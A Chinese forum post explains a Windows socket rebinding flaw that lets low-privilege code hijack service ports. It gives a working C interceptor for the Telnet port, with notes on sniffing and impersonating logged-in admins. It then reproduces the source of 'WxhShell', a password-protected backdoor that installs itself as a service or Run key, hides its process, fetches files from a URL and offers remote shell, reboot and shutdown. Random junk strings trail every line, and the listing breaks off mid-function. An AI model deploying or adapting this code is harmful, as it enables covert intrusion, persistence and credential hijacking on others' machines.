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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vFR 1UPF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mf#2.TR  
9c:5t'Qt5.  
  saddr.sin_family = AF_INET; I S.F  
- =yTAx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wiKCr/  
.M}06,-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]zX\8eHp!  
M'b:B*>6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^v#+PyW  
2}ag_  
  这意味着什么?意味着可以进行如下的攻击: Lq3(Z%  
THb A(SM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V5cb}xx  
~igRg~k:/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _J +]SNk  
il=?of\,i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,7QBJ_-;QJ  
Xk 5oybDI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @_G` Ok4  
rK*hTjVn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m]E o(P4+  
, &-S?|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }#YIl@E  
%+/f'6kR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xAFek;GY?  
fYv ;TV>73  
  #include 5 1v r^  
  #include !2/l9SUi  
  #include 1w(<0Be  
  #include    =lYvj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UU*0dSWr  
  int main() tbL1g{Dz,  
  { ks)fQFSbu  
  WORD wVersionRequested; aA7S'[NjB  
  DWORD ret; Yjpb+}  
  WSADATA wsaData; ;|2U f   
  BOOL val; e OO!jrT:  
  SOCKADDR_IN saddr; YmdsI+DbIu  
  SOCKADDR_IN scaddr; 2K5}3<KD/  
  int err; cq- e c7  
  SOCKET s; *G8'Fjin'T  
  SOCKET sc; Qf/j:  
  int caddsize; ,P;8 }yQ  
  HANDLE mt; %?U"[F1  
  DWORD tid;   =]8f"wAh*  
  wVersionRequested = MAKEWORD( 2, 2 ); fp`U?S6  
  err = WSAStartup( wVersionRequested, &wsaData ); n5/ZJur  
  if ( err != 0 ) {  gvvFU,2  
  printf("error!WSAStartup failed!\n"); 7 3H@kf  
  return -1; dO Y lI`4  
  } E!r4AjaC  
  saddr.sin_family = AF_INET; ddGkk@CA  
   O8!!UA8V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l#mqV@?A~  
JDIz28Ww  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X`8Y[Vb3}  
  saddr.sin_port = htons(23); pT|./ Fe  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @G^j8Nl+J}  
  { :YkDn~@  
  printf("error!socket failed!\n"); M'pY-/.  
  return -1; 7{?lEQ&UE  
  } BBaHM sr  
  val = TRUE; 54, Ju'r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BA`kxL/x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C@l +\M(  
  { Zw3hp,P]  
  printf("error!setsockopt failed!\n"); tyBg7dP  
  return -1; F(0pru4u  
  } a,en8+r ]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #c8"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C?_t8G./_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &utS\-;G  
Pl`Bd0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W$x K^}  
  { n^g-`  
  ret=GetLastError(); >KH(nc$  
  printf("error!bind failed!\n"); !XG/,)A  
  return -1; { &6l\|  
  } [346w <  
  listen(s,2); Th I  
  while(1) 6 d{D3e[p^  
  { Y9lbf_51  
  caddsize = sizeof(scaddr); *,Aa9wa{  
  //接受连接请求 ;h*"E(P p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )o}=z\M-bN  
  if(sc!=INVALID_SOCKET) uC <|T  
  { gu~-}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /i7>&ND.r  
  if(mt==NULL) EX[l0]fj  
  { 2/a04qA#  
  printf("Thread Creat Failed!\n"); FQv02V+&<  
  break; ,cl"1>lp  
  } )%-\hl]  
  } 4cv|ok8P  
  CloseHandle(mt); \, X?K  
  } P17]}F``  
  closesocket(s); O~c+$(  
  WSACleanup(); tPMg Z  
  return 0; r;5 AY  
  }   ]VO,} `  
  DWORD WINAPI ClientThread(LPVOID lpParam) \Ho#[k=y*/  
  { .1l[l5$  
  SOCKET ss = (SOCKET)lpParam; j:\_*f  
  SOCKET sc; =qVAvo'  
  unsigned char buf[4096]; KJ05Zx~uma  
  SOCKADDR_IN saddr; bN<O<x1j  
  long num; ,sy / r V  
  DWORD val; \f<thd*bC  
  DWORD ret; Tk2&{S"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *1;L,*J"|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d3\l9R{}  
  saddr.sin_family = AF_INET; Xj(k(>7V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LT y@6*  
  saddr.sin_port = htons(23); [jG uO%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 's%ct}y\J  
  { ir1RAmt%  
  printf("error!socket failed!\n"); }T^v7 LY  
  return -1; h;mQ%9 Yd  
  } )gm\e?^   
  val = 100; ek_i{'hFd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +q>C}9s3  
  { &  t @  
  ret = GetLastError(); x Ps& CyI  
  return -1; ! a8h  
  } LqH?3):  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &nY2u-Q  
  { :5qqu{GL  
  ret = GetLastError(); e>s.mH6A  
  return -1; aO;Q%]VL'  
  } lj%;d'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YP@ ?j  
  { CH|g   
  printf("error!socket connect failed!\n"); ]'z ^Kt5S  
  closesocket(sc); fjzr8vU}C  
  closesocket(ss); Ky{I&}+R|  
  return -1; :O_<K&  
  } Yru1@/;  
  while(1) ;Ef)7GE@\[  
  { z8rh*Rfxd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \ { E;u'F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gJ}'O4*b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;L/T}!Dx  
  num = recv(ss,buf,4096,0); m'vOFP)'  
  if(num>0) >G -?e!  
  send(sc,buf,num,0); 6CzvRvA*P  
  else if(num==0) ,J4a~fPf  
  break; vU=k8  
  num = recv(sc,buf,4096,0); 7dL=E"WL  
  if(num>0) E t[QcB3  
  send(ss,buf,num,0); hgMnO J  
  else if(num==0) .<|4PG  
  break; Y$DgL h  
  } *1 eTf  
  closesocket(ss); zz''FmedF  
  closesocket(sc); -V)5Tr=  
  return 0 ; Q(eQZx{  
  } S7~l%G>]b  
nD{;4$xP`  
)a2m<"  
========================================================== GA*Khqdid  
`J;/=tf09  
下边附上一个代码,,WXhSHELL Zm'::+ tl  
wBaFC\CW  
========================================================== d3q/mg5a  
4pHPf<6  
#include "stdafx.h" k?*DBXJv  
g960;waz3  
#include <stdio.h> ri_6 wbPp  
#include <string.h> `oI/;&  
#include <windows.h> ~+NFWNgN  
#include <winsock2.h> \|4MU"ri  
#include <winsvc.h> .J! $,O@  
#include <urlmon.h> Q $,kB<M  
OCoRcrAx  
#pragma comment (lib, "Ws2_32.lib") ?&bVe__  
#pragma comment (lib, "urlmon.lib") EYj2h .k  
hdWp  
#define MAX_USER   100 // 最大客户端连接数 g 0_r  
#define BUF_SOCK   200 // sock buffer */m~m?  
#define KEY_BUFF   255 // 输入 buffer 2nz'/G  
Q,+*u%/u  
#define REBOOT     0   // 重启 Ih0> ]h-7  
#define SHUTDOWN   1   // 关机 Z` Eb L  
e Eb1R}@  
#define DEF_PORT   5000 // 监听端口 [[Eu?vQ9R  
[T&y5"@  
#define REG_LEN     16   // 注册表键长度 UyfIAC$S  
#define SVC_LEN     80   // NT服务名长度 ^)K[1]"uM  
/bj`%Q.n  
// 从dll定义API C4K&flk]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IpVwnNj!}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [A/+tv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g KY ,G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vnOF$6n  
wOl-iN=  
// wxhshell配置信息 [~%;E[ky$  
struct WSCFG { V$%Fs{  
  int ws_port;         // 监听端口 D,R2wNF  
  char ws_passstr[REG_LEN]; // 口令 Hu!>RSg,,2  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7)X&fV6<8  
  char ws_regname[REG_LEN]; // 注册表键名 Q`fA)6U  
  char ws_svcname[REG_LEN]; // 服务名 Bc ,z]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !6`nN1A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a5+v)F/=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [t\Mu}b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tTxo:+xg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OehB"[;+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *y@]zNPD  
hLA=7  
}; v=^)`C6Ma  
V0&QEul  
// default Wxhshell configuration X-^Oz@.>  
struct WSCFG wscfg={DEF_PORT, 8o!^ZOmU<  
    "xuhuanlingzhe", y#W8] <dS"  
    1, :fQ*'m,  
    "Wxhshell", ~./u0E  
    "Wxhshell", I z@x^s  
            "WxhShell Service", FnU;n  
    "Wrsky Windows CmdShell Service", fmyS# 6"  
    "Please Input Your Password: ", dfd%A" I  
  1, B{u.Yc:  
  "http://www.wrsky.com/wxhshell.exe", F?4'>ZW  
  "Wxhshell.exe" *qOCo_=P8  
    }; ;a77YL TQ  
&3/H P)*<]  
// 消息定义模块 YLd%"H $n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `I<|*vW u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #FM 'S|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E8 )*HOT_T  
char *msg_ws_ext="\n\rExit."; 30-w TcG  
char *msg_ws_end="\n\rQuit."; fxa^SV   
char *msg_ws_boot="\n\rReboot..."; / 1GZN *I  
char *msg_ws_poff="\n\rShutdown..."; FAGVpO[  
char *msg_ws_down="\n\rSave to "; U9OF0=g  
(G;*B<|A  
char *msg_ws_err="\n\rErr!"; cHd39H9  
char *msg_ws_ok="\n\rOK!"; d$ 7 b  
)y Y;%  
char ExeFile[MAX_PATH]; a"N_zGf2$  
int nUser = 0; Vp94mi#L }  
HANDLE handles[MAX_USER]; : \`MrI^  
int OsIsNt; =l_"M  
~1!kU 4  
SERVICE_STATUS       serviceStatus; 9_dsiM7CT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =ZL2 0<TeH  
XV!EjD~q  
// 函数声明 5qko`r@#  
int Install(void); 0pz X!f1~  
int Uninstall(void); Darkj>$\  
int DownloadFile(char *sURL, SOCKET wsh);  8eLL  
int Boot(int flag); p0@mumh  
void HideProc(void); 4x >e7Kf  
int GetOsVer(void); 3xY]Lqwv  
int Wxhshell(SOCKET wsl); _P+|tW1  
void TalkWithClient(void *cs); W%:zvqg v  
int CmdShell(SOCKET sock); zYJxoC{  
int StartFromService(void); '^AXUb  
int StartWxhshell(LPSTR lpCmdLine); o%7yhCY  
D/>5\da+y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JC3)G/m(03  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (q7mzZY  
+r"$?bw '  
// 数据结构和表定义 rKq]zHgpo  
SERVICE_TABLE_ENTRY DispatchTable[] = mK4A/bsE  
{ - d6>  
{wscfg.ws_svcname, NTServiceMain}, [Xg"B|FD0  
{NULL, NULL} ~:Nyv+g,$  
}; 3~'F^=T.Y  
XCoOs<O:@  
// 自我安装 ^)I:82"|?  
int Install(void) d_hcv|%  
{ p^!p7B`qe.  
  char svExeFile[MAX_PATH]; fba3aId[  
  HKEY key; omu&:) g  
  strcpy(svExeFile,ExeFile); o~ed0>D-LS  
"f+2_8%s+  
// 如果是win9x系统,修改注册表设为自启动 G}*B`m  
if(!OsIsNt) { r8$TT\?~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @TDcj~oR ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eU0-_3gN_  
  RegCloseKey(key); [5-5tipvWp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yFqC-t-i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gw^+[}U#  
  RegCloseKey(key); M IJ~j><L  
  return 0; Sq QB>;/p  
    } I&c#U+-A'  
  } on$a]zx'@  
} l|{<!7a  
else { %{"STbO#>  
hW&UG#PY>  
// 如果是NT以上系统,安装为系统服务 .}wir,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !NtY4O/  
if (schSCManager!=0) Y'9deX+  
{ g11K?3*%Q  
  SC_HANDLE schService = CreateService g(^l>niF:  
  ( )2S\:&x  
  schSCManager, DQ$/0bq   
  wscfg.ws_svcname, cCIEG e6  
  wscfg.ws_svcdisp, L`v,:#Y   
  SERVICE_ALL_ACCESS, crQuoOl7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eNX-2S  
  SERVICE_AUTO_START, hv6>3gbr  
  SERVICE_ERROR_NORMAL, =v-D}eJQ=  
  svExeFile, YQOGxSi  
  NULL, h?sh#j6  
  NULL, v.MWO]L  
  NULL, 4m:E:zVn  
  NULL, tti.-  
  NULL $6N. ykJ  
  ); 0Qz \"gr  
  if (schService!=0) p*Cbe\  
  { U<x3=P  
  CloseServiceHandle(schService); 3 0Z;}<)9  
  CloseServiceHandle(schSCManager); P%c<0y"O:>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9^n ]qg^  
  strcat(svExeFile,wscfg.ws_svcname); rcOmpgew  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~ p.23G]x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R\^tr  
  RegCloseKey(key); o <y7Ut  
  return 0; {<lV=0]  
    } OA;L^d  
  } =0Mmxd&o=M  
  CloseServiceHandle(schSCManager); %Vq@WF  
} Nf1l{N  
} {sLh=iK  
he,T\ };  
return 1; ZyG528O22  
} wC19  
Yi:+,-Fso  
// 自我卸载 qXW 5_iX  
int Uninstall(void) P06K0Fxf  
{ yI!K quMC  
  HKEY key; fXN;N&I  
ZHT.+X:_  
if(!OsIsNt) { ]Q+Tm2{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <_5z^@N3$  
  RegDeleteValue(key,wscfg.ws_regname); ?AEpg.9R-  
  RegCloseKey(key); ^t"\PpmK<d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <m!\Ma  
  RegDeleteValue(key,wscfg.ws_regname); rv+"=g  
  RegCloseKey(key); B N=,>-O%  
  return 0; PQ j_j#0  
  } \K=Jd#9c  
} *k/_p ^  
} jm!G@k6TA  
else { Lt)t}0  
vCJjZ%eO%D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :mij%nQ>$  
if (schSCManager!=0) BkcOsJIz  
{ nxG vh4'i8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jGt[[s  
  if (schService!=0) _$\T;m>'A  
  { Ky+TgR  
  if(DeleteService(schService)!=0) { D_@^XS  
  CloseServiceHandle(schService); P _9O8"W  
  CloseServiceHandle(schSCManager); )vw3Y88  
  return 0; ~o+u:]  
  } j=7]"%  
  CloseServiceHandle(schService); `'~|DG}a  
  } /)|*Vzu  
  CloseServiceHandle(schSCManager); #8'%CUF*<8  
} OHB!ec6W  
} oD.f/hi0|  
Fw|5A"9'a'  
return 1; iS"rMgq  
} `Tab'7  
[p(Y|~  
// 从指定url下载文件 :)+cI?\#  
int DownloadFile(char *sURL, SOCKET wsh) Tsa&R:SE  
{ 9s}--_k?F2  
  HRESULT hr; h5~tsd}OU  
char seps[]= "/"; W>Zce="_gN  
char *token; ?wmr~j  
char *file; ]p~XTZgW  
char myURL[MAX_PATH]; _vad>-=D*U  
char myFILE[MAX_PATH]; P/27+5(|  
!=a8^CV  
strcpy(myURL,sURL); Es?~Dd  
  token=strtok(myURL,seps); $]O\Ryf6  
  while(token!=NULL) :g Ze>  
  { &.d~ M1Mz  
    file=token; aFLm,  
  token=strtok(NULL,seps); %;gD_H4mm  
  } R\iU)QP  
U!('`TYe  
GetCurrentDirectory(MAX_PATH,myFILE); 2rA`y8g(L  
strcat(myFILE, "\\"); h4V.$e<T&  
strcat(myFILE, file); c| E  
  send(wsh,myFILE,strlen(myFILE),0); k1X<jC]P  
send(wsh,"...",3,0); ) +{'p0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C; ! )<(Vw  
  if(hr==S_OK) |XeuqZa  
return 0; En1pz\'  
else 7.]ZD`"Bb  
return 1; gbF.Q7?$u  
JTVCaL3Z  
} &D/_@\ 0  
BH=vI<D  
// 系统电源模块 $"sf%{~  
int Boot(int flag) K{ N#^L!  
{ mI}'8 .  
  HANDLE hToken; /<GygRs  
  TOKEN_PRIVILEGES tkp; qUCiB}  
GeE|&popO  
  if(OsIsNt) { oSxHTbp?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i2EB.Zlv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d"$ \fL  
    tkp.PrivilegeCount = 1; Dk:Zeo]+my  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F`'e/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B6,"S5@  
if(flag==REBOOT) { I9_tD@s"(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dw'%1g.113  
  return 0; >hHn{3y  
} 2OEO b,`  
else { #qHo+M$"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Bc= gl$  
  return 0; (G:$/fK  
} R:=i/P/  
  } X)`? P*[  
  else {  y!!p:3  
if(flag==REBOOT) { Aj-}G^>#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W*gu*H^s~  
  return 0; $$AKz\  
} oMcX{v^"  
else { +,If|5>(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +b 1lCa_  
  return 0; aM~M@wS  
} <vOljo  
} wOINcEdx  
haS`V  
return 1; v]c1|?9p'  
} $$`}b^,/  
&%rX RP  
// win9x进程隐藏模块 amOBUD5Ld`  
void HideProc(void) LDO@$jg  
{ s>^*GQw  
wC;N*0Th  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]e 81O#t3  
  if ( hKernel != NULL ) R:zjEhH )  
  { 8 z\WyDz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cvi+AZ=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C^]bXIb  
    FreeLibrary(hKernel); Bx;bc  
  } dX` _Y  
Qr$ uFh/y  
return; {V,rWg  
} BHqJ~2&FDW  
U_Id6J]8  
// 获取操作系统版本 :43K)O"  
int GetOsVer(void) WnU"&XZ  
{ 76(&O  
  OSVERSIONINFO winfo; > PfYHO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DM"`If%3j  
  GetVersionEx(&winfo); -&y{8<bu4H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  ]Ocf %(  
  return 1; a'rN&*P  
  else ^!!@O91T  
  return 0; RR*<txdN  
} n"$D/XJO  
0~Z2$`(  
// 客户端句柄模块 =#SKN\4  
int Wxhshell(SOCKET wsl) YB.r-c"Y  
{ Ju Kj  
  SOCKET wsh; 9-I;'  
  struct sockaddr_in client; P*Uu)mG)G  
  DWORD myID; e=QnGT*b5  
/\(0@To  
  while(nUser<MAX_USER) mq do@  
{ tNoo3&  
  int nSize=sizeof(client); /EA4-#uw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =&< s*-l[  
  if(wsh==INVALID_SOCKET) return 1; R@u6mMX{N,  
 jI[:`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B/&axm%0  
if(handles[nUser]==0) +UB+. 5P  
  closesocket(wsh); gs7H9%j{U  
else x=gZ7$?A  
  nUser++; A7 E*w  
  } P10`X&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !zVuO*+  
Ay22-/C|@  
  return 0; V.>'\b/#  
} n@Y`g{{e~  
;XRLp:y  
// 关闭 socket |U>BXX P  
void CloseIt(SOCKET wsh) x?VX,9;j  
{ &S]\)&Yt  
closesocket(wsh); -6aGcPq  
nUser--; 2(Vm0E  
ExitThread(0); fYl$$.  
} A!x_R {,yH  
&Dgho  
// 客户端请求句柄 Jr==AfxyT  
void TalkWithClient(void *cs) ehoDWO]S  
{ TY],H=  
bo4 :|Z  
  SOCKET wsh=(SOCKET)cs; YR=<xn;m.  
  char pwd[SVC_LEN]; cL7je  
  char cmd[KEY_BUFF]; p9y "0A|  
char chr[1]; {|O8)bW'  
int i,j; YO|Kc {j2e  
% Lhpj[C  
  while (nUser < MAX_USER) { r*OSEzGUz  
eh&?BP?  
if(wscfg.ws_passstr) { o5-oQ_ j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %e+hM $Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~6Vs>E4G  
  //ZeroMemory(pwd,KEY_BUFF); b`usRoD{+  
      i=0; g>CF|Wj  
  while(i<SVC_LEN) { i-vhX4:bd  
x~?,Wv|cm  
  // 设置超时 ]3BTL7r  
  fd_set FdRead; z;xp1t @  
  struct timeval TimeOut; `_N8A A  
  FD_ZERO(&FdRead); ;^^u_SuH  
  FD_SET(wsh,&FdRead); u`xmF/jhQ  
  TimeOut.tv_sec=8; DvKM[z3j  
  TimeOut.tv_usec=0; dw5.vXL`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |K YONQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pn{Mj  
l`UJHX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .DMeW i  
  pwd=chr[0]; R#"kh/M  
  if(chr[0]==0xd || chr[0]==0xa) { s7A{<>:  
  pwd=0; k"uqso/  
  break; C7dy{:y`  
  } y{0`+/\`  
  i++; h/ ?8F^C#v  
    } rp6Y&3p.  
>JkQ U e  
  // 如果是非法用户,关闭 socket ;e_dk4_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vRpMZ)e  
} vQ#$.*Cvn  
G|Yw a=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tx;MH5s/V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mnzamp  
(`5No:?v<  
while(1) { tKjPLi71  
|FHeT*"  
  ZeroMemory(cmd,KEY_BUFF);  Jx9S@L`  
I,(m\NalK  
      // 自动支持客户端 telnet标准   5?r#6:(yI  
  j=0; 2asA]sY  
  while(j<KEY_BUFF) { Ok/~E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3ZGU?Z;R  
  cmd[j]=chr[0]; EDcR:Dw3  
  if(chr[0]==0xa || chr[0]==0xd) { `Rub"zM  
  cmd[j]=0; )mz [2Sfg  
  break; d kHcG&)  
  } 0?qXDO&~  
  j++; 16_HO%v->  
    } v`A^6)U#M  
o7i/~JkTP  
  // 下载文件 QZ$94XLI  
  if(strstr(cmd,"http://")) { BC ]^BKP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qw!cd-zc  
  if(DownloadFile(cmd,wsh)) ({zt=}r,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8xJdK'  
  else MCD]n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @>,3l;\Zh  
  } {a.{x+!5I-  
  else { d8`^;T ;}d  
rk*Igqf  
    switch(cmd[0]) { Q#wASd.  
  _iLXs  
  // 帮助 uc<XdFcu  
  case '?': {  VT96ph  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;{ u{F L  
    break; QU|{(c  
  } R"Nvnpm  
  // 安装 S5*wUd*p#  
  case 'i': { PX65Z|~>_  
    if(Install()) m(,vym t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0AP wk }  
    else L MC-1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dq/[ g,(  
    break; zNofI$U  
    } 3Bee6N>  
  // 卸载 &F1h3q)L  
  case 'r': { 8W)3rD>  
    if(Uninstall()) }0 0mJ]H(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ nNsq(4  
    else _6Wz1.]n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HK) $ls  
    break; SL" ;\[uI  
    } U>7"BpC  
  // 显示 wxhshell 所在路径 D-\\L[  
  case 'p': { mVfg+d(  
    char svExeFile[MAX_PATH]; M;OY+ |uA  
    strcpy(svExeFile,"\n\r"); Vh$~]>t:f  
      strcat(svExeFile,ExeFile); :BKY#uH~  
        send(wsh,svExeFile,strlen(svExeFile),0); +8Yt91   
    break; ; 29q  
    } !SEHDRp  
  // 重启 $'btfo4H  
  case 'b': { }@=m[Zx#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Un@B D}@\  
    if(Boot(REBOOT)) A ^ $9[_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $j0] +vT  
    else { QFU;\H/  
    closesocket(wsh); Yxz(g]  
    ExitThread(0); p)vyZY[  
    } EQ1wyKZS2g  
    break; GQhzQM1HS  
    } ]^$&Ejpe#  
  // 关机 =;!C7VS  
  case 'd': { V9z/yNo  
